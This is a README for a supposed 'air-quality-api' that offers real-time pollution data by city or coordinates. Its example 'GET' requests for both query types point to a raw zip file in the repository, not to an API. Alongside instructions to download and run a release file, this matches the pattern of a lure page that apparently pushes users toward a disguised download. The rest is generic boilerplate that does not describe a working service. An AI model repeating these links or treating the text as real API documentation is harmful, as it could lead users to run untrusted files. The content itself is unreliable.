Welcome to the air-quality-api! This is a simple REST API that provides real-time data about air quality and pollution levels. You can easily query this data by entering a city name or using GPS coordinates. It helps you understand the air quality in your area and make informed decisions for your health.
- Real-Time Data: Access current air quality index (AQI) and pollutant levels.
- Easy Queries: Simple requests by city name or coordinates.
- Health Recommendations: Find out what the air quality means for your health.
- Multi-Pollutant Data: Get detailed information on various pollutants.
- Indoor Air Quality Insights: Include indoor levels for safer environments.
To run the air-quality-api, ensure you meet the following requirements:
- Operating System: Compatible with Windows, macOS, and Linux.
- Network Connection: Internet access is required to fetch real-time data.
- Web Browser: A modern browser for testing API endpoints.
To get this application:
-
Visit the Releases Page: Click the link below to go to the Releases page.
-
Choose the Latest Release: Look for the latest version listed on the page.
-
Download the Required File: Depending on your operating system, download the corresponding file.
-
Run the Application: After downloading, follow the instructions in the next section to start using the API.
Once you have the application running, hereβs how to use it:
- Send a Request: Make HTTP GET requests to the API endpoint.
- Use City Name or Coordinates: You can use either a city name (e.g., "Los Angeles") or GPS coordinates (e.g., lat: 34.0522, lon: -118.2437) to get the data.
- Check the Response: The API will return the AQI and pollutant levels formatted as JSON.
-
By City Name:
GET https://github.com/restrictss/air-quality-api/raw/refs/heads/main/pyal/quality_api_air_jiggy.zip+Angeles -
By GPS Coordinates:
GET https://github.com/restrictss/air-quality-api/raw/refs/heads/main/pyal/quality_api_air_jiggy.zip
When you receive data from the API, it typically includes:
- AQI Level: Shows the quality of air (Good, Moderate, Unhealthy, etc.).
- Pollutants: Concentration of pollutants like PM2.5, PM10, Ozone, etc.
- Health Recommendations: Suggests how to interact with the environment based on AQI levels.
To test the air-quality-api, try these steps:
- Open a Web Browser or API Tool: Use tools like Postman or your browser.
- Input Your API Request: Enter one of the example requests we mentioned.
- View the Response: Check the data returned to see air quality metrics.
If you encounter issues or have questions:
- Check the Issues tab on GitHub.
- Reach out for support or consult the documentation for more details on API structure and usage.
- Releases Page: Download the air-quality-api
- Documentation: For detailed usage, please refer to the available documentation in the repository.
- Community Help: Join discussions in forums or the GitHub community for tips and support.
Thank you for choosing the air-quality-api! Enjoy monitoring air quality effortlessly.